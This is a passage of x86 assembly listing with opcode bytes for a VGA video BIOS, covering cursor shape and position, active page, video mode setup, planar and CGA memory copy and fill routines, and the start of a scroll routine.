03 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 lea sp, [bp-008h] ; 8d 66 f8 pop di ; 5f pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 biosfn_set_cursor_shape_: ; 0xc0dba LB 0xa4 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push di ; 57 mov ch, al ; 88 c5 mov cl, dl ; 88 d1 and ch, 03fh ; 80 e5 3f and cl, 01fh ; 80 e1 1f movzx di, ch ; 0f b6 fd mov bx, di ; 89 fb sal bx, 008h ; c1 e3 08 movzx si, cl ; 0f b6 f1 add bx, si ; 01 f3 mov dx, strict word 00060h ; ba 60 00 mov ax, strict word 00040h ; b8 40 00 call 02f68h ; e8 87 21 mov dx, 00089h ; ba 89 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 54 21 mov bl, al ; 88 c3 mov dx, 00085h ; ba 85 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 65 21 mov dx, ax ; 89 c2 test bl, 001h ; f6 c3 01 je short 00e33h ; 74 37 cmp ax, strict word 00008h ; 3d 08 00 jbe short 00e33h ; 76 32 cmp cl, 008h ; 80 f9 08 jnc short 00e33h ; 73 2d cmp ch, 020h ; 80 fd 20 jnc short 00e33h ; 73 28 inc di ; 47 cmp si, di ; 39 fe je short 00e19h ; 74 09 imul ax, di ; 0f af c7 shr ax, 003h ; c1 e8 03 dec ax ; 48 jmp short 00e24h ; eb 0b lea si, [di+001h] ; 8d 75 01 imul ax, si ; 0f af c6 shr ax, 003h ; c1 e8 03 dec ax ; 48 dec ax ; 48 mov ch, al ; 88 c5 movzx ax, cl ; 0f b6 c1 inc ax ; 40 imul ax, dx ; 0f af c2 shr ax, 003h ; c1 e8 03 dec ax ; 48 mov cl, al ; 88 c1 mov dx, strict word 00063h ; ba 63 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 1e 21 mov bx, ax ; 89 c3 mov AL, strict byte 00ah ; b0 0a mov dx, bx ; 89 da out DX, AL ; ee lea si, [bx+001h] ; 8d 77 01 mov al, ch ; 88 e8 mov dx, si ; 89 f2 out DX, AL ; ee mov AL, strict byte 00bh ; b0 0b mov dx, bx ; 89 da out DX, AL ; ee mov al, cl ; 88 c8 mov dx, si ; 89 f2 out DX, AL ; ee lea sp, [bp-008h] ; 8d 66 f8 pop di ; 5f pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 biosfn_set_cursor_pos_: ; 0xc0e5e LB 0xa2 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push ax ; 50 push ax ; 50 mov byte [bp-008h], al ; 88 46 f8 mov cx, dx ; 89 d1 cmp AL, strict byte 007h ; 3c 07 jnbe near 00ef8h ; 0f 87 87 00 movzx dx, al ; 0f b6 d0 add dx, dx ; 01 d2 add dx, strict byte 00050h ; 83 c2 50 mov bx, cx ; 89 cb mov ax, strict word 00040h ; b8 40 00 call 02f68h ; e8 e7 20 mov dx, strict word 00062h ; ba 62 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 b4 20 cmp al, byte [bp-008h] ; 3a 46 f8 jne short 00ef8h ; 75 69 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 c2 20 mov bx, ax ; 89 c3 mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 9b 20 xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 inc dx ; 42 mov al, cl ; 88 c8 xor cl, cl ; 30 c9 shr cx, 008h ; c1 e9 08 mov byte [bp-00ah], cl ; 88 4e f6 imul dx, bx ; 0f af d3 or dl, 0ffh ; 80 ca ff movzx cx, byte [bp-008h] ; 0f b6 4e f8 inc dx ; 42 imul dx, cx ; 0f af d1 mov si, ax ; 89 c6 add si, dx ; 01 d6 movzx dx, byte [bp-00ah] ; 0f b6 56 f6 imul bx, dx ; 0f af da add si, bx ; 01 de mov dx, strict word 00063h ; ba 63 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 84 20 mov bx, ax ; 89 c3 mov AL, strict byte 00eh ; b0 0e mov dx, bx ; 89 da out DX, AL ; ee mov ax, si ; 89 f0 xor al, al ; 30 c0 shr ax, 008h ; c1 e8 08 lea cx, [bx+001h] ; 8d 4f 01 mov dx, cx ; 89 ca out DX, AL ; ee mov AL, strict byte 00fh ; b0 0f mov dx, bx ; 89 da out DX, AL ; ee and si, 000ffh ; 81 e6 ff 00 mov ax, si ; 89 f0 mov dx, cx ; 89 ca out DX, AL ; ee lea sp, [bp-006h] ; 8d 66 fa pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 biosfn_set_active_page_: ; 0xc0f00 LB 0xdc push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push dx ; 52 push si ; 56 push di ; 57 push ax ; 50 push ax ; 50 mov cl, al ; 88 c1 cmp AL, strict byte 007h ; 3c 07 jnbe near 00fd2h ; 0f 87 c0 00 mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 23 20 xor ah, ah ; 30 e4 call 02f17h ; e8 f7 1f mov ch, al ; 88 c5 cmp AL, strict byte 0ffh ; 3c ff je near 00fd2h ; 0f 84 aa 00 movzx ax, cl ; 0f b6 c1 lea bx, [bp-00eh] ; 8d 5e f2 lea dx, [bp-00ch] ; 8d 56 f4 call 00a88h ; e8 54 fb movzx bx, ch ; 0f b6 dd mov si, bx ; 89 de sal si, 003h ; c1 e6 03 cmp byte [si+0462fh], 000h ; 80 bc 2f 46 00 jne short 00f83h ; 75 40 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 0e 20 mov bx, ax ; 89 c3 mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 e7 1f xor ah, ah ; 30 e4 inc ax ; 40 mov si, bx ; 89 de imul si, ax ; 0f af f0 mov ax, si ; 89 f0 add ax, si ; 01 f0 or AL, strict byte 0ffh ; 0c ff movzx di, cl ; 0f b6 f9 mov bx, ax ; 89 c3 inc bx ; 43 imul bx, di ; 0f af df mov dx, strict word 0004eh ; ba 4e 00 mov ax, strict word 00040h ; b8 40 00 call 02f68h ; e8 f1 1f or si, 000ffh ; 81 ce ff 00 lea bx, [si+001h] ; 8d 5c 01 imul bx, di ; 0f af df jmp short 00f95h ; eb 12 movzx bx, byte [bx+046aeh] ; 0f b6 9f ae 46 sal bx, 006h ; c1 e3 06 movzx ax, cl ; 0f b6 c1 mov bx, word [bx+046c5h] ; 8b 9f c5 46 imul bx, ax ; 0f af d8 mov dx, strict word 00063h ; ba 63 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 bc 1f mov si, ax ; 89 c6 mov AL, strict byte 00ch ; b0 0c mov dx, si ; 89 f2 out DX, AL ; ee mov ax, bx ; 89 d8 xor al, bl ; 30 d8 shr ax, 008h ; c1 e8 08 lea di, [si+001h] ; 8d 7c 01 mov dx, di ; 89 fa out DX, AL ; ee mov AL, strict byte 00dh ; b0 0d mov dx, si ; 89 f2 out DX, AL ; ee mov al, bl ; 88 d8 mov dx, di ; 89 fa out DX, AL ; ee movzx si, cl ; 0f b6 f1 mov bx, si ; 89 f3 mov dx, strict word 00062h ; ba 62 00 mov ax, strict word 00040h ; b8 40 00 call 02f4ch ; e8 82 1f mov dx, word [bp-00eh] ; 8b 56 f2 mov ax, si ; 89 f0 call 00e5eh ; e8 8c fe lea sp, [bp-00ah] ; 8d 66 f6 pop di ; 5f pop si ; 5e pop dx ; 5a pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 biosfn_set_video_mode_: ; 0xc0fdc LB 0x391 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push dx ; 52 push si ; 56 push di ; 57 sub sp, strict byte 00010h ; 83 ec 10 mov byte [bp-00ch], al ; 88 46 f4 and AL, strict byte 080h ; 24 80 mov byte [bp-010h], al ; 88 46 f0 call 007fah ; e8 08 f8 test ax, ax ; 85 c0 je short 01002h ; 74 0c mov AL, strict byte 007h ; b0 07 mov dx, 003c4h ; ba c4 03 out DX, AL ; ee xor al, al ; 30 c0 mov dx, 003c5h ; ba c5 03 out DX, AL ; ee and byte [bp-00ch], 07fh ; 80 66 f4 7f cmp byte [bp-00ch], 007h ; 80 7e f4 07 jne short 01010h ; 75 04 mov byte [bp-00ch], 000h ; c6 46 f4 00 movzx ax, byte [bp-00ch] ; 0f b6 46 f4 call 02f17h ; e8 00 1f mov byte [bp-012h], al ; 88 46 ee cmp AL, strict byte 0ffh ; 3c ff je near 01363h ; 0f 84 43 03 movzx si, al ; 0f b6 f0 mov al, byte [si+046aeh] ; 8a 84 ae 46 mov byte [bp-00eh], al ; 88 46 f2 movzx bx, al ; 0f b6 d8 sal bx, 006h ; c1 e3 06 movzx ax, byte [bx+046c2h] ; 0f b6 87 c2 46 mov word [bp-018h], ax ; 89 46 e8 movzx ax, byte [bx+046c3h] ; 0f b6 87 c3 46 mov word [bp-016h], ax ; 89 46 ea movzx ax, byte [bx+046c4h] ; 0f b6 87 c4 46 mov word [bp-014h], ax ; 89 46 ec mov dx, 00087h ; ba 87 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 ed 1e mov dx, 00088h ; ba 88 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 e4 1e mov dx, 00089h ; ba 89 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 db 1e mov ah, al ; 88 c4 test AL, strict byte 008h ; a8 08 jne near 010f5h ; 0f 85 8a 00 mov bx, si ; 89 f3 sal bx, 003h ; c1 e3 03 mov al, byte [bx+04634h] ; 8a 87 34 46 mov dx, 003c6h ; ba c6 03 out DX, AL ; ee xor al, al ; 30 c0 mov dx, 003c8h ; ba c8 03 out DX, AL ; ee mov bl, byte [bx+04635h] ; 8a 9f 35 46 cmp bl, 001h ; 80 fb 01 jc short 01095h ; 72 0e jbe short 0109eh ; 76 15 cmp bl, 003h ; 80 fb 03 je short 010a8h ; 74 1a cmp bl, 002h ; 80 fb 02 je short 010a3h ; 74 10 jmp short 010abh ; eb 16 test bl, bl ; 84 db jne short 010abh ; 75 12 mov di, 04e42h ; bf 42 4e jmp short 010abh ; eb 0d mov di, 04f02h ; bf 02 4f jmp short 010abh ; eb 08 mov di, 04fc2h ; bf c2 4f jmp short 010abh ; eb 03 mov di, 05082h ; bf 82 50 xor bx, bx ; 31 db jmp short 010beh ; eb 0f xor al, al ; 30 c0 mov dx, 003c9h ; ba c9 03 out DX, AL ; ee out DX, AL ; ee out DX, AL ; ee inc bx ; 43 cmp bx, 00100h ; 81 fb 00 01 jnc short 010e8h ; 73 2a movzx si, byte [bp-012h] ; 0f b6 76 ee sal si, 003h ; c1 e6 03 movzx si, byte [si+04635h] ; 0f b6 b4 35 46 movzx dx, byte [si+046beh] ; 0f b6 94 be 46 cmp bx, dx ; 39 d3 jnbe short 010afh ; 77 dc imul si, bx, strict byte 00003h ; 6b f3 03 add si, di ; 01 fe mov al, byte [si] ; 8a 04 mov dx, 003c9h ; ba c9 03 out DX, AL ; ee mov al, byte [si+001h] ; 8a 44 01 out DX, AL ; ee mov al, byte [si+002h] ; 8a 44 02 out DX, AL ; ee jmp short 010b7h ; eb cf test ah, 002h ; f6 c4 02 je short 010f5h ; 74 08 mov dx, 00100h ; ba 00 01 xor ax, ax ; 31 c0 call 00d2eh ; e8 39 fc mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 xor bx, bx ; 31 db jmp short 01104h ; eb 05 cmp bx, strict byte 00013h ; 83 fb 13 jnbe short 0111bh ; 77 17 mov al, bl ; 88 d8 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee movzx si, byte [bp-00eh] ; 0f b6 76 f2 sal si, 006h ; c1 e6 06 add si, bx ; 01 de mov al, byte [si+046e5h] ; 8a 84 e5 46 out DX, AL ; ee inc bx ; 43 jmp short 010ffh ; eb e4 mov AL, strict byte 014h ; b0 14 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee xor al, al ; 30 c0 out DX, AL ; ee mov dx, 003c4h ; ba c4 03 out DX, AL ; ee mov AL, strict byte 003h ; b0 03 mov dx, 003c5h ; ba c5 03 out DX, AL ; ee mov bx, strict word 00001h ; bb 01 00 jmp short 01138h ; eb 05 cmp bx, strict byte 00004h ; 83 fb 04 jnbe short 01152h ; 77 1a mov al, bl ; 88 d8 mov dx, 003c4h ; ba c4 03 out DX, AL ; ee movzx si, byte [bp-00eh] ; 0f b6 76 f2 sal si, 006h ; c1 e6 06 add si, bx ; 01 de mov al, byte [si+046c6h] ; 8a 84 c6 46 mov dx, 003c5h ; ba c5 03 out DX, AL ; ee inc bx ; 43 jmp short 01133h ; eb e1 xor bx, bx ; 31 db jmp short 0115bh ; eb 05 cmp bx, strict byte 00008h ; 83 fb 08 jnbe short 01175h ; 77 1a mov al, bl ; 88 d8 mov dx, 003ceh ; ba ce 03 out DX, AL ; ee movzx si, byte [bp-00eh] ; 0f b6 76 f2 sal si, 006h ; c1 e6 06 add si, bx ; 01 de mov al, byte [si+046f9h] ; 8a 84 f9 46 mov dx, 003cfh ; ba cf 03 out DX, AL ; ee inc bx ; 43 jmp short 01156h ; eb e1 movzx bx, byte [bp-012h] ; 0f b6 5e ee sal bx, 003h ; c1 e3 03 cmp byte [bx+04630h], 001h ; 80 bf 30 46 01 jne short 01188h ; 75 05 mov dx, 003b4h ; ba b4 03 jmp short 0118bh ; eb 03 mov dx, 003d4h ; ba d4 03 mov si, dx ; 89 d6 mov ax, strict word 00011h ; b8 11 00 out DX, ax ; ef xor bx, bx ; 31 db jmp short 0119ah ; eb 05 cmp bx, strict byte 00018h ; 83 fb 18 jnbe short 011b5h ; 77 1b mov al, bl ; 88 d8 mov dx, si ; 89 f2 out DX, AL ; ee movzx cx, byte [bp-00eh] ; 0f b6 4e f2 sal cx, 006h ; c1 e1 06 mov di, cx ; 89 cf add di, bx ; 01 df lea dx, [si+001h] ; 8d 54 01 mov al, byte [di+046cch] ; 8a 85 cc 46 out DX, AL ; ee inc bx ; 43 jmp short 01195h ; eb e0 mov bx, cx ; 89 cb mov al, byte [bx+046cbh] ; 8a 87 cb 46 mov dx, 003c2h ; ba c2 03 out DX, AL ; ee mov AL, strict byte 020h ; b0 20 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 cmp byte [bp-010h], 000h ; 80 7e f0 00 jne short 01230h ; 75 5f movzx bx, byte [bp-012h] ; 0f b6 5e ee sal bx, 003h ; c1 e3 03 cmp byte [bx+0462fh], 000h ; 80 bf 2f 46 00 jne short 011f2h ; 75 13 mov es, [bx+04632h] ; 8e 87 32 46 mov cx, 04000h ; b9 00 40 mov ax, 00720h ; b8 20 07 xor di, di ; 31 ff cld ; fc jcxz 011f0h ; e3 02 rep stosw ; f3 ab jmp short 01230h ; eb 3e cmp byte [bp-00ch], 00dh ; 80 7e f4 0d jnc short 0120ah ; 73 12 mov es, [bx+04632h] ; 8e 87 32 46 mov cx, 04000h ; b9 00 40 xor ax, ax ; 31 c0 xor di, di ; 31 ff cld ; fc jcxz 01208h ; e3 02 rep stosw ; f3 ab jmp short 01230h ; eb 26 mov AL, strict byte 002h ; b0 02 mov dx, 003c4h ; ba c4 03 out DX, AL ; ee mov dx, 003c5h ; ba c5 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov word [bp-01ah], ax ; 89 46 e6 mov AL, strict byte 00fh ; b0 0f out DX, AL ; ee mov es, [bx+04632h] ; 8e 87 32 46 mov cx, 08000h ; b9 00 80 xor ax, ax ; 31 c0 xor di, di ; 31 ff cld ; fc jcxz 0122ch ; e3 02 rep stosw ; f3 ab mov al, byte [bp-01ah] ; 8a 46 e6 out DX, AL ; ee movzx bx, byte [bp-00ch] ; 0f b6 5e f4 mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 02f4ch ; e8 0f 1d mov bx, word [bp-018h] ; 8b 5e e8 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 02f68h ; e8 1f 1d movzx bx, byte [bp-00eh] ; 0f b6 5e f2 sal bx, 006h ; c1 e3 06 mov bx, word [bx+046c5h] ; 8b 9f c5 46 mov dx, strict word 0004ch ; ba 4c 00 mov ax, strict word 00040h ; b8 40 00 call 02f68h ; e8 0b 1d mov bx, si ; 89 f3 mov dx, strict word 00063h ; ba 63 00 mov ax, strict word 00040h ; b8 40 00 call 02f68h ; e8 00 1d movzx bx, byte [bp-016h] ; 0f b6 5e ea mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 02f4ch ; e8 d7 1c mov bx, word [bp-014h] ; 8b 5e ec mov dx, 00085h ; ba 85 00 mov ax, strict word 00040h ; b8 40 00 call 02f68h ; e8 e7 1c mov al, byte [bp-010h] ; 8a 46 f0 or AL, strict byte 060h ; 0c 60 movzx bx, al ; 0f b6 d8 mov dx, 00087h ; ba 87 00 mov ax, strict word 00040h ; b8 40 00 call 02f4ch ; e8 ba 1c mov bx, 000f9h ; bb f9 00 mov dx, 00088h ; ba 88 00 mov ax, strict word 00040h ; b8 40 00 call 02f4ch ; e8 ae 1c mov dx, 00089h ; ba 89 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 97 1c and AL, strict byte 07fh ; 24 7f movzx bx, al ; 0f b6 d8 mov dx, 00089h ; ba 89 00 mov ax, strict word 00040h ; b8 40 00 call 02f4ch ; e8 97 1c mov bx, strict word 00008h ; bb 08 00 mov dx, 0008ah ; ba 8a 00 mov ax, strict word 00040h ; b8 40 00 call 02f4ch ; e8 8b 1c mov cx, ds ; 8c d9 mov bx, 053d0h ; bb d0 53 mov dx, 000a8h ; ba a8 00 mov ax, strict word 00040h ; b8 40 00 call 02f88h ; e8 b9 1c xor bx, bx ; 31 db mov dx, strict word 00065h ; ba 65 00 mov ax, strict word 00040h ; b8 40 00 call 02f4ch ; e8 72 1c xor bx, bx ; 31 db mov dx, strict word 00066h ; ba 66 00 mov ax, strict word 00040h ; b8 40 00 call 02f4ch ; e8 67 1c movzx bx, byte [bp-012h] ; 0f b6 5e ee sal bx, 003h ; c1 e3 03 cmp byte [bx+0462fh], 000h ; 80 bf 2f 46 00 jne short 012fch ; 75 09 mov dx, strict word 00007h ; ba 07 00 mov ax, strict word 00006h ; b8 06 00 call 00dbah ; e8 be fa xor bx, bx ; 31 db jmp short 01305h ; eb 05 cmp bx, strict byte 00008h ; 83 fb 08 jnc short 01310h ; 73 0b movzx ax, bl ; 0f b6 c3 xor dx, dx ; 31 d2 call 00e5eh ; e8 51 fb inc bx ; 43 jmp short 01300h ; eb f0 xor ax, ax ; 31 c0 call 00f00h ; e8 eb fb movzx bx, byte [bp-012h] ; 0f b6 5e ee sal bx, 003h ; c1 e3 03 cmp byte [bx+0462fh], 000h ; 80 bf 2f 46 00 jne short 01333h ; 75 10 xor bl, bl ; 30 db mov AL, strict byte 004h ; b0 04 mov AH, strict byte 011h ; b4 11 int 010h ; cd 10 xor bl, bl ; 30 db mov AL, strict byte 003h ; b0 03 mov AH, strict byte 011h ; b4 11 int 010h ; cd 10 mov dx, 057ech ; ba ec 57 mov ax, strict word 0001fh ; b8 1f 00 call 00a00h ; e8 c4 f6 mov ax, word [bp-014h] ; 8b 46 ec cmp ax, strict word 00010h ; 3d 10 00 je short 0135eh ; 74 1a cmp ax, strict word 0000eh ; 3d 0e 00 je short 01359h ; 74 10 cmp ax, strict word 00008h ; 3d 08 00 jne short 01363h ; 75 15 mov dx, 053ech ; ba ec 53 mov ax, strict word 00043h ; b8 43 00 call 00a00h ; e8 a9 f6 jmp short 01363h ; eb 0a mov dx, 05bech ; ba ec 5b jmp short 01351h ; eb f3 mov dx, 069ech ; ba ec 69 jmp short 01351h ; eb ee lea sp, [bp-00ah] ; 8d 66 f6 pop di ; 5f pop si ; 5e pop dx ; 5a pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 vgamem_copy_pl4_: ; 0xc136d LB 0x76 push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 push ax ; 50 push ax ; 50 mov bh, cl ; 88 cf movzx di, dl ; 0f b6 fa movzx cx, byte [bp+006h] ; 0f b6 4e 06 imul di, cx ; 0f af f9 movzx si, byte [bp+004h] ; 0f b6 76 04 imul di, si ; 0f af fe xor ah, ah ; 30 e4 add di, ax ; 01 c7 mov word [bp-008h], di ; 89 7e f8 movzx di, bl ; 0f b6 fb imul cx, di ; 0f af cf imul cx, si ; 0f af ce add cx, ax ; 01 c1 mov word [bp-006h], cx ; 89 4e fa mov ax, 00105h ; b8 05 01 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef xor bl, bl ; 30 db cmp bl, byte [bp+006h] ; 3a 5e 06 jnc short 013d3h ; 73 29 movzx cx, bh ; 0f b6 cf movzx si, bl ; 0f b6 f3 movzx ax, byte [bp+004h] ; 0f b6 46 04 imul ax, si ; 0f af c6 mov si, word [bp-008h] ; 8b 76 f8 add si, ax ; 01 c6 mov di, word [bp-006h] ; 8b 7e fa add di, ax ; 01 c7 mov dx, 0a000h ; ba 00 a0 mov es, dx ; 8e c2 cld ; fc jcxz 013cfh ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsb ; f3 a4 pop DS ; 1f db 0feh, 0c3h ; inc bl ; fe c3 jmp short 013a5h ; eb d2 mov ax, strict word 00005h ; b8 05 00 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00004h ; c2 04 00 vgamem_fill_pl4_: ; 0xc13e3 LB 0x61 push bp ; 55 mov bp, sp ; 89 e5 push di ; 57 push ax ; 50 push ax ; 50 mov byte [bp-004h], bl ; 88 5e fc mov bh, cl ; 88 cf movzx cx, dl ; 0f b6 ca movzx dx, byte [bp+004h] ; 0f b6 56 04 imul cx, dx ; 0f af ca movzx dx, bh ; 0f b6 d7 imul dx, cx ; 0f af d1 xor ah, ah ; 30 e4 add dx, ax ; 01 c2 mov word [bp-006h], dx ; 89 56 fa mov ax, 00205h ; b8 05 02 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef xor bl, bl ; 30 db cmp bl, byte [bp+004h] ; 3a 5e 04 jnc short 01435h ; 73 22 movzx cx, byte [bp-004h] ; 0f b6 4e fc movzx ax, byte [bp+006h] ; 0f b6 46 06 movzx dx, bl ; 0f b6 d3 movzx di, bh ; 0f b6 ff imul di, dx ; 0f af fa add di, word [bp-006h] ; 03 7e fa mov dx, 0a000h ; ba 00 a0 mov es, dx ; 8e c2 cld ; fc jcxz 01431h ; e3 02 rep stosb ; f3 aa db 0feh, 0c3h ; inc bl ; fe c3 jmp short 0140eh ; eb d9 mov ax, strict word 00005h ; b8 05 00 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef lea sp, [bp-002h] ; 8d 66 fe pop di ; 5f pop bp ; 5d retn 00004h ; c2 04 00 vgamem_copy_cga_: ; 0xc1444 LB 0xa4 push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 push ax ; 50 push ax ; 50 mov bh, cl ; 88 cf movzx di, dl ; 0f b6 fa movzx cx, byte [bp+006h] ; 0f b6 4e 06 imul di, cx ; 0f af f9 movzx si, byte [bp+004h] ; 0f b6 76 04 imul di, si ; 0f af fe sar di, 1 ; d1 ff xor ah, ah ; 30 e4 add di, ax ; 01 c7 mov word [bp-006h], di ; 89 7e fa movzx di, bl ; 0f b6 fb imul cx, di ; 0f af cf imul si, cx ; 0f af f1 sar si, 1 ; d1 fe add si, ax ; 01 c6 mov word [bp-008h], si ; 89 76 f8 xor bl, bl ; 30 db cmp bl, byte [bp+006h] ; 3a 5e 06 jnc short 014dfh ; 73 61 test bl, 001h ; f6 c3 01 je short 014b4h ; 74 31 movzx cx, bh ; 0f b6 cf movzx si, bl ; 0f b6 f3 sar si, 1 ; d1 fe movzx ax, byte [bp+004h] ; 0f b6 46 04 imul ax, si ; 0f af c6 mov si, word [bp-006h] ; 8b 76 fa add si, 02000h ; 81 c6 00 20 add si, ax ; 01 c6 mov di, word [bp-008h] ; 8b 7e f8 add di, 02000h ; 81 c7 00 20 add di, ax ; 01 c7 mov dx, 0b800h ; ba 00 b8 mov es, dx ; 8e c2 cld ; fc jcxz 014b2h ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsb ; f3 a4 pop DS ; 1f jmp short 014dbh ; eb 27 movzx cx, bh ; 0f b6 cf movzx ax, bl ; 0f b6 c3 sar ax, 1 ; d1 f8 movzx si, byte [bp+004h] ; 0f b6 76 04 imul ax, si ; 0f af c6 mov si, word [bp-006h] ; 8b 76 fa add si, ax ; 01 c6 mov di, word [bp-008h] ; 8b 7e f8 add di, ax ; 01 c7 mov dx, 0b800h ; ba 00 b8 mov es, dx ; 8e c2 cld ; fc jcxz 014dbh ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsb ; f3 a4 pop DS ; 1f db 0feh, 0c3h ; inc bl ; fe c3 jmp short 01479h ; eb 9a lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00004h ; c2 04 00 vgamem_fill_cga_: ; 0xc14e8 LB 0x8a push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 push ax ; 50 push ax ; 50 mov byte [bp-006h], bl ; 88 5e fa mov bh, cl ; 88 cf movzx cx, dl ; 0f b6 ca movzx dx, byte [bp+004h] ; 0f b6 56 04 imul dx, cx ; 0f af d1 movzx cx, bh ; 0f b6 cf imul dx, cx ; 0f af d1 sar dx, 1 ; d1 fa movzx si, al ; 0f b6 f0 add si, dx ; 01 d6 xor bl, bl ; 30 db cmp bl, byte [bp+004h] ; 3a 5e 04 jnc short 01569h ; 73 57 test bl, 001h ; f6 c3 01 je short 01546h ; 74 2f movzx cx, byte [bp-006h] ; 0f b6 4e fa movzx ax, byte [bp+006h] ; 0f b6 46 06 movzx dx, bl ; 0f b6 d3 sar dx, 1 ; d1 fa mov word [bp-008h], dx ; 89 56 f8 movzx dx, bh ; 0f b6 d7 mov di, word [bp-008h] ; 8b 7e f8 imul di, dx ; 0f af fa mov word [bp-008h], di ; 89 7e f8 lea di, [si+02000h] ; 8d bc 00 20 add di, word [bp-008h] ; 03 7e f8 mov dx, 0b800h ; ba 00 b8 mov es, dx ; 8e c2 cld ; fc jcxz 01544h ; e3 02 rep stosb ; f3 aa jmp short 01565h ; eb 1f movzx cx, byte [bp-006h] ; 0f b6 4e fa movzx ax, byte [bp+006h] ; 0f b6 46 06 movzx di, bl ; 0f b6 fb sar di, 1 ; d1 ff movzx dx, bh ; 0f b6 d7 imul di, dx ; 0f af fa add di, si ; 01 f7 mov dx, 0b800h ; ba 00 b8 mov es, dx ; 8e c2 cld ; fc jcxz 01565h ; e3 02 rep stosb ; f3 aa db 0feh, 0c3h ; inc bl ; fe c3 jmp short 0150dh ; eb a4 lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00004h ; c2 04 00 biosfn_scroll_: ; 0xc1572 LB 0x506 push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 00018h ; 83 ec 18 mov byte [bp-010h], al ; 88 46 f0 mov byte [bp-00ch], dl ; 88 56 f4 mov byte [bp-008h], bl ; 88 5e f8 mov byte [bp-006h], cl ; 88 4e fa cmp bl, byte [bp+004h] ; 3a 5e 04 jnbe near 01a6fh ; 0f 87 e2 04 cmp cl, byte [bp+006h] ; 3a 4e 06 jnbe near 01a6fh ; 0f 87 db 04 mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 a1 19 xor ah, ah ; 30 e4 call 02f17h ; e8 75 19 mov byte [bp-00eh], al ; 88 46 f2 cmp AL, strict byte 0ffh ; 3c ff je near 01a6fh ; 0f 84 c4 04 mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 8a 19 movzx cx, al ; 0f b6 c8 inc cx ; 41 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 99 19 mov word [bp-016h], ax ; 89 46 ea cmp byte [bp+008h], 0ffh ; 80 7e 08 ff jne short 015d6h ; 75 0c mov dx, strict word 00062h ; ba 62 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 6b 19 mov byte [bp+008h], al ; 88 46 08 movzx ax, byte [bp+004h] ; 0f b6 46 04 cmp ax, cx ; 39 c8 jc short 015e5h ; 72 07 mov al, cl ; 88 c8 db 0feh, 0c8h ; dec al ; fe c8 mov byte [bp+004h], al ; 88 46 04 movzx ax, byte [bp+006h] ; 0f b6 46 06 cmp ax, word [bp-016h] ; 3b 46 ea jc short 015f6h ; 72 08 mov al, byte [bp-016h] ; 8a 46 ea db 0feh, 0c8h ; dec al ; fe c8 mov byte [bp+006h], al ; 88 46 06 movzx ax, byte [bp-010h] ; 0f b6 46 f0 cmp ax, cx ; 39 c8 jbe short 01602h ; 76 04 mov byte [bp-010h], 000h ; c6 46 f0 00 mov al, byte [bp+006h] ; 8a 46 06 